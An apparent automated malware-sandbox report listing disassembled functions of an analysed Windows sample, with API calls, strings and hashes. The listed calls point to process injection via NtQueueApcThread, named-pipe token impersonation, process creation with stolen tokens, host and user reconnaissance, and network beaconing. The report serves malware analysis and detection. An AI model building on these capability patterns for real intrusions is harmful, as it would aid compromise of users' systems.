Instruction Fuzzy Hash: BA313371850728EFFB12BF7A9CC6A193BA4EB05720B15262AF514DB1B2EB358441DF70

Function 00DB8853 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00DB8864
select.WS2_32(00000000,00000000,?,?,00000000), ref: 00DB88B2
__WSAFDIsSet.WS2_32(?,?), ref: 00DB88C2
__WSAFDIsSet.WS2_32(?,?), ref: 00DB88D5
send.WS2_32(?,00000000,?,00000000), ref: 00DB88E9
WSAGetLastError.WS2_32(?,00000000,?,00000000,?,?,?,?), ref: 00DB88F3
Sleep.KERNEL32(000003E8), ref: 00DB8905
GetTickCount.KERNEL32 ref: 00DB890B

Strings

d, xrefs: 00DB8872

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: CountTick$ErrorLastSleepselectsend
String ID: d
API String ID: 2152284305-2564639436
Opcode ID: 264b56dc4c07975da55f2ab3c7a5883d1d9d985ca410aa1de41777f1df7fba94
Instruction ID: ad72b82b333915dd9287dad4c560401fd23fb128bf38bb334237de21f2ed918b
Opcode Fuzzy Hash: 264b56dc4c07975da55f2ab3c7a5883d1d9d985ca410aa1de41777f1df7fba94
Instruction Fuzzy Hash: 0611903184020DEBDF119F64DC85BE97BBCFB08314F1001A7E615D21A0EBB09E819FA0

Function 00DB3741 Relevance: 15.1, APIs: 10, Instructions: 103sleepfilepipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00DB3757
GetLastError.KERNEL32 ref: 00DB37B7
GetTickCount.KERNEL32 ref: 00DB37C2
Sleep.KERNEL32(000003E8), ref: 00DB37CD
GetLastError.KERNEL32 ref: 00DB37D9
WriteFile.KERNEL32(?,?,00000004,?,00000000), ref: 00DB380B
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DB3836
FlushFileBuffers.KERNEL32(?), ref: 00DB384A
DisconnectNamedPipe.KERNEL32(?), ref: 00DB3853
Sleep.KERNEL32(000003E8), ref: 00DB3866

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: File$CountErrorLastSleepTickWrite$BuffersDisconnectFlushNamedPipe
String ID:
API String ID: 3101085627-0
Opcode ID: 025b19708d78a27d441bb2671cdb6a4e8a64585d7640623aa128e677628c9b55
Instruction ID: 203481af661b36872f218c4ada17c487b8556bc08f153c7260eeea54ebb49ce8
Opcode Fuzzy Hash: 025b19708d78a27d441bb2671cdb6a4e8a64585d7640623aa128e677628c9b55
Instruction Fuzzy Hash: 0C3108B6D00219EBDB01EBA4DC86AEEB7B8EB04714F150066E506E6250DB31AF44DBB1

Function 00DB66BF Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 111threadsleepprocessCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,NtQueueApcThread,00000000,00000000), ref: 00DB6704
GetProcAddress.KERNEL32(00000000), ref: 00DB670B

Part of subcall function 00DB6638: _malloc.LIBCMT ref: 00DB6657

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00DB673A
Thread32First.KERNEL32(00000000,0000001C), ref: 00DB674F
Thread32Next.KERNEL32(00000000,0000001C), ref: 00DB678E
Sleep.KERNEL32(000000C8,00000004,00000000), ref: 00DB67A4

Strings

NtQueueApcThread, xrefs: 00DB66E8
ntdll, xrefs: 00DB66EF

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: Thread32$AddressCreateFirstHandleModuleNextProcSleepSnapshotToolhelp32_malloc
String ID: NtQueueApcThread$ntdll
API String ID: 147937454-1374908105
Opcode ID: cc9833fae7d3854cbad68c726a09c08cce2d0b1d5ca6d1e5fc6aeabfae91eea4
Instruction ID: a022d3b8154c9726d31ef27e7feabc5d63def82f0586663edb8f3dbdc31cb8e8
Opcode Fuzzy Hash: cc9833fae7d3854cbad68c726a09c08cce2d0b1d5ca6d1e5fc6aeabfae91eea4
Instruction Fuzzy Hash: 9C314775900219FFDF10EFA4C845AEEBBB9EB08714F144426F906E6150EB74DA45CBB1

Function 00DB5EEC Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB5EFC
_memset.LIBCMT ref: 00DB5F08

Part of subcall function 00DB6072: _malloc.LIBCMT ref: 00DB60C4
Part of subcall function 00DB6072: _malloc.LIBCMT ref: 00DB60CF
Part of subcall function 00DB6072: _memset.LIBCMT ref: 00DB60DB
Part of subcall function 00DB6072: _memset.LIBCMT ref: 00DB60E6
Part of subcall function 00DB6072: _rand.LIBCMT ref: 00DB6144

__snprintf.LIBCMT ref: 00DB5F59
__snprintf.LIBCMT ref: 00DB5F71
_memset.LIBCMT ref: 00DB5F90
_memset.LIBCMT ref: 00DB5F9B

Strings

%s&%s, xrefs: 00DB5F64
?%s, xrefs: 00DB5F4C

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$__snprintf_malloc$_rand
String ID: %s&%s$?%s
API String ID: 1876596931-1750478248
Opcode ID: b8394719dd5a92acecc9e45d60fa2e69254bb31a621b3eaa4ca2e4536e1a73dd
Instruction ID: d6f9107a863d9bfa78d0a50161de54951e1427ed9216119fb9c2a2a6f630f863
Opcode Fuzzy Hash: b8394719dd5a92acecc9e45d60fa2e69254bb31a621b3eaa4ca2e4536e1a73dd
Instruction Fuzzy Hash: 46217C71500100FBDF15AE11EC42FAB7B69EF95710F244085FD016B297E670EE11CAB5

Function 00DB5EEC Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB5EFC
_memset.LIBCMT ref: 00DB5F08

Part of subcall function 00DB6072: _malloc.LIBCMT ref: 00DB60C4
Part of subcall function 00DB6072: _malloc.LIBCMT ref: 00DB60CF
Part of subcall function 00DB6072: _memset.LIBCMT ref: 00DB60DB
Part of subcall function 00DB6072: _memset.LIBCMT ref: 00DB60E6
Part of subcall function 00DB6072: _rand.LIBCMT ref: 00DB6144

__snprintf.LIBCMT ref: 00DB5F59
__snprintf.LIBCMT ref: 00DB5F71
_memset.LIBCMT ref: 00DB5F90
_memset.LIBCMT ref: 00DB5F9B

Strings

%s&%s, xrefs: 00DB5F64
?%s, xrefs: 00DB5F4C

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$__snprintf_malloc$_rand
String ID: %s&%s$?%s
API String ID: 1876596931-1750478248
Opcode ID: 85f1f7033f5375ac6f298d3c1cbd3d9a04bc354981ebd5e4a237038a9953ee7c
Instruction ID: d6f9107a863d9bfa78d0a50161de54951e1427ed9216119fb9c2a2a6f630f863
Opcode Fuzzy Hash: 85f1f7033f5375ac6f298d3c1cbd3d9a04bc354981ebd5e4a237038a9953ee7c
Instruction Fuzzy Hash: 46217C71500100FBDF15AE11EC42FAB7B69EF95710F244085FD016B297E670EE11CAB5

Function 00DBC35D Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81C2
Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81D2

_memset.LIBCMT ref: 00DBC3CE

Part of subcall function 00DBC7BA: _memset.LIBCMT ref: 00DBC8B6

_malloc.LIBCMT ref: 00DBC3E1

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

_memset.LIBCMT ref: 00DBC3F3

Part of subcall function 00DBEA37: _malloc.LIBCMT ref: 00DBEA5E
Part of subcall function 00DBEA37: _memset.LIBCMT ref: 00DBEA8C

htonl.WS2_32(00000000), ref: 00DBC424
GetComputerNameExA.KERNEL32(00000006,?,?), ref: 00DBC495
GetComputerNameA.KERNEL32(?,?), ref: 00DBC4C6
GetUserNameA.ADVAPI32(?,?), ref: 00DBC4F7

Part of subcall function 00DB2F1B: WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 00DB2F3F

_malloc.LIBCMT ref: 00DBC5CF
_memset.LIBCMT ref: 00DBC661

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _malloc_memset$Name$Computer$AllocateHeapSocketUserhtonl
String ID:
API String ID: 932012179-0
Opcode ID: a280516bcf2bcbc31588620091ca1e63c8c3124e7ee7d4ddb44343df5665b45f
Instruction ID: 4301775c920e298e48b9857651d8d66dfffa4574e2925b81a5194ddd3f771f34
Opcode Fuzzy Hash: a280516bcf2bcbc31588620091ca1e63c8c3124e7ee7d4ddb44343df5665b45f
Instruction Fuzzy Hash: 4D812772914300EAC320EB659C46FEB77ECFF84720F11581EF58697282DA74DA0487B2

Function 00DB8748 Relevance: 13.6, APIs: 9, Instructions: 101networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00DB8767
htons.WS2_32(00000000), ref: 00DB8778
socket.WS2_32(00000002,00000001,00000000), ref: 00DB87B1
closesocket.WS2_32(00000000), ref: 00DB87C0
gethostbyname.WS2_32(00000000), ref: 00DB87DE
htons.WS2_32(?), ref: 00DB880A
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00DB881D
connect.WS2_32(00000000,?,00000010), ref: 00DB882E
WSAGetLastError.WS2_32(00000000,?,00000010), ref: 00DB8837

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: htons$ErrorLastclosesocketconnectgethostbynamehtonlioctlsocketsocket
String ID:
API String ID: 3339321253-0
Opcode ID: 74113555802c83711b6376bb1dcc34fb945eae4fab666351e9c2289d6092bec3
Instruction ID: 05230b26a30b47591ceb598f4a5ab89aa9adc236c7223a7d1f13a6a07a3f8603
Opcode Fuzzy Hash: 74113555802c83711b6376bb1dcc34fb945eae4fab666351e9c2289d6092bec3
Instruction Fuzzy Hash: 673108B6D00158EBDB20ABE59C85EFEB7ACEF08314F1401A6F945E7241FA348905D779

Function 00DB4B7A Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 130processCOMMON

Download Yara Rule

APIs

Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81C2
Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81D2

_memset.LIBCMT ref: 00DB4BDD
GetStartupInfoA.KERNEL32(?), ref: 00DB4BF5

Part of subcall function 00DB31C8: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000400,00DB4ACB,?,00DB48E4,00DB4ACB,?,00000400), ref: 00DB31DE
Part of subcall function 00DB31C8: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00DB4ACB,00DB48E4,?,00DB48E4,00DB4ACB,?,00000400,?,?,?,?,00DB4ACB), ref: 00DB31F7

GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00DB4C5A
GetCurrentDirectoryW.KERNEL32(00000400,?), ref: 00DB4C64
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000001,00000000,00000000,00000000,00000000,00000000,?,00DB32CF), ref: 00DB4C8F
GetLastError.KERNEL32 ref: 00DB4C9E

Part of subcall function 00DB26E2: _vswprintf_s.LIBCMT ref: 00DB26FE

Strings

%s as %s\%s: %d, xrefs: 00DB4CAE

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: ByteCharCurrentDirectoryMultiWide_malloc$CreateErrorInfoLastLogonProcessStartupWith_memset_vswprintf_s
String ID: %s as %s\%s: %d
API String ID: 963358868-816037529
Opcode ID: 3338687d53188791e4c145ffb19e238e297102b4ad604cf31be59687cd3ef16c
Instruction ID: a3b4c1fca304884cd97fce5b0d836c5f3b7b681356d920752c3091cc7269ca03
Opcode Fuzzy Hash: 3338687d53188791e4c145ffb19e238e297102b4ad604cf31be59687cd3ef16c
Instruction Fuzzy Hash: E3413471D00209BADF01AFA9DC85EEFBFB9EF89750F10401AF605A6261DB718A10DB71

Function 00401C80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 124filememoryCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00401CAF
vfprintf.MSVCRT ref: 00401CCF
abort.MSVCRT ref: 00401CD4
VirtualQuery.KERNEL32 ref: 00401D67
VirtualProtect.KERNEL32 ref: 00401DBD
GetLastError.KERNEL32 ref: 00401DCA

Strings

@, xrefs: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQueryabortfwritevfprintf
String ID: @
API String ID: 1616349570-2766056989
Opcode ID: 1b0efd051e5881cbe3a5a53f7e2a4386ccc2b94af93b62ca0e5c5b9780880a0d
Instruction ID: 2f91aa6c44690fe53a7d4d9a4cebfbeb7542b51ecc99335da346757be2dbd23f
Opcode Fuzzy Hash: 1b0efd051e5881cbe3a5a53f7e2a4386ccc2b94af93b62ca0e5c5b9780880a0d
Instruction Fuzzy Hash: 2D415EB59043019FD700EF29D98565AFBE0FF84354F45893EE888973A1D778E844CB9A

Function 00DBDF65 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DBDF89
_memset.LIBCMT ref: 00DBDF97
_memset.LIBCMT ref: 00DBDFA5
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,00001000,?), ref: 00DBDFC2
LookupAccountSidA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00DBDFF1
__snprintf.LIBCMT ref: 00DBE013

Strings

%s\%s, xrefs: 00DBE00C

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _memset$AccountInformationLookupToken__snprintf
String ID: %s\%s
API String ID: 2009363630-4073750446
Opcode ID: 1de0312eb1a0e60c3ed76667eb5490b93d98f6b5dfee4b72b6ef86c78a0ad65d
Instruction ID: 3c0dc6ac0b462fdb472b5f719a91a976ce1efe9e8c175436d3644a01148023e9
Opcode Fuzzy Hash: 1de0312eb1a0e60c3ed76667eb5490b93d98f6b5dfee4b72b6ef86c78a0ad65d
Instruction Fuzzy Hash: 1F2100B290111DBADB11DA90DC85FEF77BCEF48744F0445BAB616E2101E670EB848B74

Function 00D71D62 Relevance: 12.2, APIs: 8, Instructions: 196COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D71D8D
_memset.LIBCMT ref: 00D71DA2
__snprintf.LIBCMT ref: 00D71E0E
_memset.LIBCMT ref: 00D71E1C
__snprintf.LIBCMT ref: 00D71E3A
__snprintf.LIBCMT ref: 00D71E59
__snprintf.LIBCMT ref: 00D71EF7
__snprintf.LIBCMT ref: 00D71F0E

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __snprintf$_memset
String ID:
API String ID: 444161222-0
Opcode ID: 2da3511d33a5d9c64791134d8e0135a70be9b0f43036398cb03b1249db1be582
Instruction ID: b16eba3124d1759d63f3478a319e23a87be059dc00a638576bb91bbc98c3c6a3
Opcode Fuzzy Hash: 2da3511d33a5d9c64791134d8e0135a70be9b0f43036398cb03b1249db1be582
Instruction Fuzzy Hash: 2D61C572800129AFDB11EBA4CC85EFE77BDEF05300F1441A5F949A7122E7359E498B75

Function 00402110 Relevance: 12.1, APIs: 8, Instructions: 90COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 0040214F
signal.MSVCRT ref: 00402196
signal.MSVCRT ref: 004021AF
signal.MSVCRT ref: 004021D6
signal.MSVCRT ref: 0040221A

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: e5ac87d4f014395d303e68e2d1d9b879cf4345e1fd894e7c545168dfae24a9c2
Instruction ID: b56ee3113ec50b52d2ebb4f8ab71ee7f336b0eefb9bc163dcadcfca50a5a4408
Opcode Fuzzy Hash: e5ac87d4f014395d303e68e2d1d9b879cf4345e1fd894e7c545168dfae24a9c2
Instruction Fuzzy Hash: 153121B01046008AE7206FA6864C32F76D0AB45328F154B6FE9E4EB3D1CBFDC985971B

Function 00DB4112 Relevance: 12.1, APIs: 8, Instructions: 58pipethreadfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB412F
GetLastError.KERNEL32 ref: 00DB4142
ConnectNamedPipe.KERNEL32(00000000), ref: 00DB4156
ReadFile.KERNEL32(?,00000001,?,00000000), ref: 00DB4170
ImpersonateNamedPipeClient.ADVAPI32 ref: 00DB4180
GetCurrentThread.KERNEL32 ref: 00DB4195
OpenThreadToken.ADVAPI32(00000000), ref: 00DB419C
DisconnectNamedPipe.KERNEL32(?), ref: 00DB41B0

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: NamedPipe$Thread$ClientConnectCurrentDisconnectErrorFileImpersonateLastOpenReadToken_memset
String ID:
API String ID: 3867162830-0
Opcode ID: 7ac0bb848ff8242492bbf9dfabf66e63852f299c8cd1f5bd47bb61822328bc16
Instruction ID: 4b5303286dd64bd385b8a34699749d68763600282d5cbec9c467a9649f6611cd
Opcode Fuzzy Hash: 7ac0bb848ff8242492bbf9dfabf66e63852f299c8cd1f5bd47bb61822328bc16
Instruction Fuzzy Hash: 9D117031A41359EFDB10AF64ED85AAA3BBCEB14799F044022F606D6263DB30CD449B70

Function 00DC989C Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DC98FE
_memcpy_s.LIBCMT ref: 00DC9973
__fileno.LIBCMT ref: 00DC99D3
__read.LIBCMT ref: 00DC99DA
__filbuf.LIBCMT ref: 00DC99FE
_memset.LIBCMT ref: 00DC9A44
_memset.LIBCMT ref: 00DC9A6F

Part of subcall function 00DCA641: __getptd_noexit.LIBCMT ref: 00DCA641

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: 73bb71f67bf0becb2f1dd24f7f3995b2945a0b1f834a48f7059707b9a443755c
Instruction ID: d84dfc90c452ef7fae1514e5acde8fc1bd2e5a4dc1c3ac389da0d5ada4145a68
Opcode Fuzzy Hash: 73bb71f67bf0becb2f1dd24f7f3995b2945a0b1f834a48f7059707b9a443755c
Instruction Fuzzy Hash: 17518131900606EBCB209F698858F9EFBB5EF81320F28862DF86597191E7309A51DF71

Function 00D88C9C Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D88CFE
_memcpy_s.LIBCMT ref: 00D88D73
__fileno.LIBCMT ref: 00D88DD3
__read.LIBCMT ref: 00D88DDA
__filbuf.LIBCMT ref: 00D88DFE
_memset.LIBCMT ref: 00D88E44
_memset.LIBCMT ref: 00D88E6F

Part of subcall function 00D89A41: __getptd_noexit.LIBCMT ref: 00D89A41

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: be45696a32e206cab89c2fccae979ac639060203ce16becbc01005babec9e347
Instruction ID: a5bff3958b78e37c8e9b0e4c81c0a9fc464120609c3a741f81e4664672bfb177
Opcode Fuzzy Hash: be45696a32e206cab89c2fccae979ac639060203ce16becbc01005babec9e347
Instruction Fuzzy Hash: 4B51D231A01205EFCF21BF69884499FBBB5EF50320F688629F865921D1EB719E50EF70

Function 00DB6072 Relevance: 10.7, APIs: 7, Instructions: 184COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DB60C4
_malloc.LIBCMT ref: 00DB60CF
_memset.LIBCMT ref: 00DB60DB
_memset.LIBCMT ref: 00DB60E6
_rand.LIBCMT ref: 00DB6144
_memset.LIBCMT ref: 00DB61BF
_memset.LIBCMT ref: 00DB61DB

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$_malloc$_rand
String ID:
API String ID: 2453798774-0
Opcode ID: ddbd3a025a0aec4532e33c5aeeeb488dbb3b77c694aae14c4e3775a50cde72ac
Instruction ID: 48f1638fba5cd8126a5620e3ed3a3dea5bc71901ee1a20f26c32138a44974cba
Opcode Fuzzy Hash: ddbd3a025a0aec4532e33c5aeeeb488dbb3b77c694aae14c4e3775a50cde72ac
Instruction Fuzzy Hash: AC510571A00206EFDB019F78DC55FEE7BA9DF56340F184059F885A7252EA34DE0587B4

Function 00DB6072 Relevance: 10.7, APIs: 7, Instructions: 184COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DB60C4
_malloc.LIBCMT ref: 00DB60CF
_memset.LIBCMT ref: 00DB60DB
_memset.LIBCMT ref: 00DB60E6
_rand.LIBCMT ref: 00DB6144
_memset.LIBCMT ref: 00DB61BF
_memset.LIBCMT ref: 00DB61DB

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$_malloc$_rand
String ID:
API String ID: 2453798774-0
Opcode ID: 6ef6dc6e4bcd2de23ed2e467e773a6f8dc8f9ebbd22941a16d6cb0498434510d
Instruction ID: 48f1638fba5cd8126a5620e3ed3a3dea5bc71901ee1a20f26c32138a44974cba
Opcode Fuzzy Hash: 6ef6dc6e4bcd2de23ed2e467e773a6f8dc8f9ebbd22941a16d6cb0498434510d
Instruction Fuzzy Hash: AC510571A00206EFDB019F78DC55FEE7BA9DF56340F184059F885A7252EA34DE0587B4

Function 00DB4870 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 184processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB489E
_memset.LIBCMT ref: 00DB48BA
CreateProcessWithTokenW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,?,C3E8296A,83FFFFDB), ref: 00DB4946

Strings

sysnative, xrefs: 00DB49E2
system32, xrefs: 00DB4A02

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$CreateProcessTokenWith
String ID: sysnative$system32
API String ID: 355399865-2461298002
Opcode ID: a560f8e5821ace479ef37426065189df40f2b418246d9fcabc41abe21ba2d823
Instruction ID: 098e20b5ccb69cc2b6a406492823cce3200a500d3df74ee8084aff5b8ff6f814
Opcode Fuzzy Hash: a560f8e5821ace479ef37426065189df40f2b418246d9fcabc41abe21ba2d823
Instruction Fuzzy Hash: E951D372604345EFD721EF64DC85EEB77E9EF85314F14082AE58AC7212EA31D9088B75

Function 00D75472 Relevance: 10.7, APIs: 7, Instructions: 184COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D754C4
_malloc.LIBCMT ref: 00D754CF
_memset.LIBCMT ref: 00D754DB
_memset.LIBCMT ref: 00D754E6
_rand.LIBCMT ref: 00D75544
_memset.LIBCMT ref: 00D755BF
_memset.LIBCMT ref: 00D755DB

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$_malloc$_rand
String ID:
API String ID: 2453798774-0
Opcode ID: 75c1d89bc45a6c8dcb5618c688f5539780bfa6badbf1ba624bde91fa96b31e63
Instruction ID: 513a486bd70f2b1d451d8c1a38fe9fc064ac70ac17782564ff7c56bab81d88ca
Opcode Fuzzy Hash: 75c1d89bc45a6c8dcb5618c688f5539780bfa6badbf1ba624bde91fa96b31e63
Instruction Fuzzy Hash: 7A513930A00505AFDB01AFB89C45BEE7BA9DF16300F188094F884AB256EA70DE05CB74

Function 00DB79AC Relevance: 10.6, APIs: 7, Instructions: 94pipesleepfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00100000,00000000), ref: 00DB79DF
GetLastError.KERNEL32 ref: 00DB79EC
WaitNamedPipeA.KERNEL32(?,00002710), ref: 00DB7A01
Sleep.KERNEL32(000003E8), ref: 00DB7A0E
SetNamedPipeHandleState.KERNEL32(?,?,00000000,00000000), ref: 00DB7A58
GetLastError.KERNEL32 ref: 00DB7A62
DisconnectNamedPipe.KERNEL32(?), ref: 00DB7A9C

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

